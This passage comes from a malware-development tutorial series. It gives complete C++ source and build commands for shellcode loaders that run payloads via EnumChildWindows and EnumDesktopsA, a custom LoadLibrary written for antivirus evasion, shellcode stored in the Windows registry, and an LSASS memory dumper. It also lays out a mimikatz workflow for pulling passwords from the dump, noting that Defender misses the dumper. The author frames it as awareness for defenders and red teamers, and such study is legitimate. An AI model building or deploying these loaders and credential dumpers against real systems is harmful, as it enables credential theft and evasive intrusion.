"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE hMutex;
// create mutex with a name so multiple instances can detect it
hMutex = CreateMutexA(NULL, FALSE, "MeowMeowMutex");
// check if the mutex already exists
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// if this process created the mutex, exit the application
if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(hMutex);
return 0;
}
}

// shellcode running logic


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);

// cleanup
if (hMutex)
CloseHandle(hMutex);
return 0;
}
As you can see, I use running shellcode via EnumChildWindows logic. Also, as usually,
use meow-meow messagebox payload.

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

325
Then, move to victim’s machine (in my case Windows 10 x64) and run:
.\hack.exe

Then, try to run this “malware” again from another Powershell terminal:

326
As you can see, nothing started, we only have one messagebox.
For checking correctness, we can add some print to our code:
/*
* hack.cpp - Create mutex, run shellcode. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/
*/
#include <windows.h>
#include <cstdio>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"

327
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


HANDLE hMutex;
// create mutex with a name so multiple instances can detect it
hMutex = CreateMutexA(NULL, FALSE, "MeowMeowMutex");
// check if the mutex already exists
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// if this process created the mutex, exit the application
if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {
printf("MeowMeowMutex already exists, app already running =^..^=\n");
CloseHandle(hMutex);
return 0;
}
}

// shellcode running logic


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);

// cleanup
if (hMutex)
CloseHandle(hMutex);
return 0;
}
Then, repeat our steps again:

328
As you can see everything is worked perfectly!
Let’s go to upload hack.exe to VirusTotal:

So, 17 of 62 AV engines detect our file as malicious.


https://www.virustotal.com/gui/file/153d249063f46b0d56603d7aab7e43a3361d74
e9852367d8730f5e57fb9f5b9f/details
This is trick is used for example by Conti ransomware, Hellokitty ransomware and
AsyncRAT in the wild.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Conti
Hellokitty
Hellokitty source code
AsyncRAT source code
source code in github

329
40. malware development trick. WinAPI LoadLibrary implemen-
tation. Simple C++ example.

Today, I just want to focus my research on another malware development trick: it’s also
helpful to AV evasion in some cases and scenarios. Like previous posts with GetMod-
uleHandle and GetProcAddress implementations, what about my own LoadLibrary
implementation? Let’s try to do it.

LoadLibrary
LoadLibrary is a Windows API function that allows you to load a dynamic-link library
(DLL) module into the address space of the calling process. The function takes the name
of the DLL as an argument and returns a handle to the loaded module. If the function
fails, it returns NULL:
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
lpFileName - A null-terminated string that specifies the name of the module (either a
.dll or .exe file).

practical example
First of all, create our own DLL. For example something like this (pet.c):
/*
pet.dll - DLL example for LoadLibrary
*/

#include <windows.h>

330
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {


switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

__declspec(dllexport) int _cdecl Cat() {


MessageBox(NULL, "meow-meow", "=^..^=", MB_OK);
return 1;
}

__declspec(dllexport) int _cdecl Mouse() {


MessageBox(NULL, "squeak-squeak", "<:3()~", MB_OK);
return 1;
}
Then, create our application which load this DLL. Simple implementation of
LoadLibrary logic is looks like this:
/*
* hack.c - LoadLibrary implementation. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/2023/04/27/malware-tricks-27.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>

typedef int (__cdecl *CatProc)();


typedef int (__cdecl *MouseProc)();

typedef NTSTATUS(NTAPI *pLdrLoadDll) (


PWCHAR PathToFile,
ULONG Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE ModuleHandle

331
);

typedef VOID (NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING DestinationString,


PCWSTR SourceString);

HMODULE MyLoadLibrary(LPCWSTR lpFileName) {


UNICODE_STRING ustrModule;
HANDLE hModule = NULL;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");


pRtlInitUnicodeString RtlInitUnicodeString =
(pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

RtlInitUnicodeString(&ustrModule, lpFileName);

pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)


GetProcAddress(GetModuleHandle("ntdll.dll"), "LdrLoadDll");
if (!myLdrLoadDll) {
return NULL;
}

NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);


return (HMODULE)hModule;
}

int main() {
HMODULE petDll = MyLoadLibrary(L"pet.dll");
if (petDll) {
CatProc catFunc = (CatProc) GetProcAddress(petDll, "Cat");
MouseProc mouseFunc = (MouseProc) GetProcAddress(petDll, "Mouse");
if ((catFunc != NULL) && (mouseFunc != NULL)) {
(catFunc) ();
(mouseFunc) ();
}
FreeLibrary(petDll);
} else {
printf("failed to load library :(\n");
}
return 0;
}
This implementation utilizes the undocumented LdrLoadDll function:
NTSYSAPI
NTSTATUS
NTAPI
LdrLoadDll(

332
IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle );
which is part of the ntdll.dll library. Using the LdrLoadDll function, we can
manually load a library by providing the necessary parameters.
Ok, can we use our DLL in other applications by loading it with MyLoadLibrary?
Yes, we can. Also, as you can see, we can getting the function addresses using
GetProcAddress.
Also, we use the RtlInitUnicodeString function pointer instead of the direct func-
tion call.

demo
Ok, let’s go to see everything in practice. First of all compile our pet.c:
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.c

Then, compile our “malware” application (hack.cpp):


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Finally, run it at the victim’s machine (Windows 10 x64):


.\hack.exe

333
As you can see, everything is worked perfectly! =.. =
I hope this post spreads awareness to the blue teamers of this interesting malware dev
technique, and adds a weapon to the red teamers arsenal.
LoadLibrary
GetProcAddress
GetModuleHandle
RtlInitUnicodeString
source code in github

334
41. malware development trick. Dump lsass.exe. Simple C++ ex-
ample.

Today, I want to show how we can dumping Lsass without Mimikatz: via
MiniDumpWriteDump API. Since mimikatz is a very famous tool and easy to
detect, hackers find new tricks to reimplement some features from it’s logic.

practical example
So, how we can write a simple lsass.exe process dumper? We use MiniDumpWriteDump:
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
The MiniDumpWriteDump function is a Windows API function that creates a minidump
file, which is a small snapshot of the application state at the time the function is called.
This file can be useful for debugging purposes, as it contains the exception information,
a list of loaded DLLs, stack information, and other system state information.
First of all, we find lsass.exe process, via function like this:
int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;

335
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}
It is necessary to have SeDebugPrivilege privilege to dump LSASS as an attacker:
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&token)) res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),

336
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
return res;
}
Then, create dump:
// minidump lsass.exe
BOOL createMiniDump() {
bool dumped = FALSE;
int pid = findMyProc("lsass.exe");
HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ph && out != INVALID_HANDLE_VALUE) {
dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL,
NULL, NULL);
printf(dumped ? "successfully dumped to lsaas.dmp :)\n" :
"failed to dump :(\n");
}
return dumped;
}
So, the full source code is looks like this hack.cpp:
/*
* hack.cpp - Dump lsass without mimikatz. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/2023/05/11/malware-tricks-28.html
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

337
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&token)) res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
return res;
}

// minidump lsass.exe
BOOL createMiniDump() {

338
bool dumped = FALSE;
int pid = findMyProc("lsass.exe");
HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ph && out != INVALID_HANDLE_VALUE) {
dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL,
NULL, NULL);
printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");
}
return dumped;
}

int main(int argc, char* argv[]) {


if (!setPrivilege(SE_DEBUG_NAME)) return -1;
if (!createMiniDump()) return -1;
return 0;
}
As you can see, do not forget to add dbghelp.lib as a dependency:
#pragma comment (lib, "dbghelp.lib")

demo
Let’s go to see everything in action. Compile our dumper at the attacker’s machine
(kali x64):
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

Then, execute it at the victim’s machine (windows 10 x64 in my case):


.\hack.exe

339
As you can see, lsass.dmp gets dumped to the working directory: C:\\temp\.
Then, open mimikatz load in the dump file and dump passwords:
.\mimikatz.exe
sekurlsa::minidump c:\temp\lsass.dmp
sekurlsa::logonpasswords

340
341
Interesting moment: not work in mimikatz v2.2.0 on my Windows:

Note that Windows Defender on Windows 10 is flagging up mimikatz immediately…


but allows running hack.exe.
So, what’s the trick? We can create an attack in this following path:
• execute hack.exe on victim’s machine

• so, lsass.dmp gets dumped to the working directory


• take the lsass.dmp offline to our attacking windows machine

• open mimikatz and load in the dump file

• dump passwords of victim’s machine (on attacker’s machine)!


This is just one of the methods, I will try to tell about the another in the future.
This trick is used many APTs and hacking tools in the wild. For example, Cobalt Strike
can spawn a job to inject into LSASS memory and dump password hashes. Fox Kitten
and HAFNIUM used procdump to dump the LSASS process memory.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
MITRE ATT&CK - OS Credential Dumping: LSASS Memory
APT3

342
Cobalt Strike
Fox Kitten
HAFNIUM
mimikatz
MiniDumpWriteDump
source code in github

343
42. malware development trick. Store binary data in registry. Sim-
ple C++ example

Today, I just want to focus my research on another malware development trick: storing
binary data in Windows Registry. It is a common technique that can be used by malware
for persistence or also to store malicious payloads.

practical example 1
Below is a simple example code of storing binary data in the registry:
void registryStore() {
HKEY hkey;
BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

DWORD d;
const char* secret = "Software\\meowApp";

LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0,


KEY_WRITE, NULL, &hkey, &d);
printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" :
"successfully create key :)\n");

res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);


printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" :
"successfully open registry key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data,


sizeof(data));
printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

344
RegCloseKey(hkey);
}
This code will write the binary data {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65,
0x6f, 0x77} to HKEY_CURRENT_USER\Software\meowApp\secretMeow. As you
can see, you need to create the Software\meowApp key before storing. Please ensure
that you have appropriate permissions to write to the registry.
Ok, then how can I retrieving this binary data from registry?
It’s a simple task:
void registryGetData() {
HKEY hkey;
DWORD size = 0;
const char* secret = "Software\\meowApp";

LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);


printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" :
"successfully open reg key:)\n");

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);


printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" :
"successfully get binary data size:)\n");

// allocate memory for the data


BYTE *data = new BYTE[size];

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);


printf(res != ERROR_SUCCESS ? "failed to query data :(\n" :
"successfully get binary data:)\n");

printf("data:\n");
for (int i = 0; i < size; i++) {
printf("\\x%02x", static_cast<int>(data[i]));
}
printf("\n\n");

RegCloseKey(hkey);
delete[] data;
}
The data is read into a dynamic array, which is then printed to the console just for
checking correctness. It is important to call delete[] on the data array after you are
finished with it to avoid a memory leak.
So, the full source code is look like this:

345
/*
* hack.cpp - store binary data in registry. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
*/
#include <windows.h>
#include <stdio.h>
#include <iostream>

void registryStore() {
HKEY hkey;
BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

DWORD d;
const char* secret = "Software\\meowApp";

LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0,


KEY_WRITE, NULL, &hkey, &d);
printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" :
"successfully create key :)\n");

res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);


printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" :
"successfully open registry key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));


printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

RegCloseKey(hkey);
}

void registryGetData() {
HKEY hkey;
DWORD size = 0;
const char* secret = "Software\\meowApp";

LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);


printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" :
"successfully open reg key:)\n");

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);


printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" :
"successfully get binary data size:)\n");

// allocate memory for the data

346
BYTE *data = new BYTE[size];

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, data, &size);


printf(res != ERROR_SUCCESS ? "failed to query data :(\n" :
"successfully get binary data:)\n");

printf("data:\n");
for (int i = 0; i < size; i++) {
printf("\\x%02x", static_cast<int>(data[i]));
}
printf("\n\n");

RegCloseKey(hkey);
delete[] data;
}

int main(void) {
registryStore();
registryGetData();
return 0;
}
Note that it’s just a dirty PoC.

demo 1
Let’s go to see everything in action.
First of all compile our “malware” in the attacker’s machine:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, just run powershell as Administrator and execute our binary in victim’s
machine (Windows 10 22H2 x64):
.\hack.exe

347
As you can see, everything is worked perfectly! =.. =

practical example 2
What about to store payload in registry? Let’s go to check it in practice.
Just modify our functions from hack.cpp:
void registryStore() {
HKEY hkey;

const unsigned char data[] =


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"

348
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

DWORD d;
const char* secret = "Software\\meowApp";

LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0,


KEY_WRITE, NULL, &hkey, &d);
printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" :
"successfully create key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));


printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

RegCloseKey(hkey);
}
As usually, I used meow-meow messagebox payload:
const unsigned char data[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"

349
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
Then, retrieve shellcode and execute via EnumDesktopsA:
void registryGetData() {
HKEY hkey;
DWORD size = 0;
const char* secret = "Software\\meowApp";

LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);


printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" :
"successfully open reg key:)\n");

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr,


nullptr, &size);
printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" :
"successfully get binary data size:)\n");

// allocate memory for the data


LPVOID data = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr,


static_cast<LPBYTE>(data), &size);
printf(res != ERROR_SUCCESS ? "failed to query data :(\n" :
"successfully get binary data:)\n");

EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)data,
(LPARAM)NULL);

// clean up
VirtualFree(data, 0, MEM_RELEASE);
RegCloseKey(hkey);
}

350
So, full source code for our second example is:
/*
* hack.cpp - store binary data in registry. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
*/
#include <windows.h>
#include <stdio.h>
#include <iostream>

void registryStore() {
HKEY hkey;
BYTE data[] = {0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77};

DWORD d;
const char* secret = "Software\\meowApp";

LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0,


KEY_WRITE, NULL, &hkey, &d);
printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" :
"successfully create key :)\n");

res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);


printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" :
"successfully open registry key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));


printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

RegCloseKey(hkey);
}

void registryGetData() {
HKEY hkey;
DWORD size = 0;
const char* secret = "Software\\meowApp";

LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);


printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" :
"successfully open reg key:)\n");

res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);


printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" :
"successfully get binary data size:)\n");

351
// allocate memory for the data
BYTE *data = new BYTE[size];

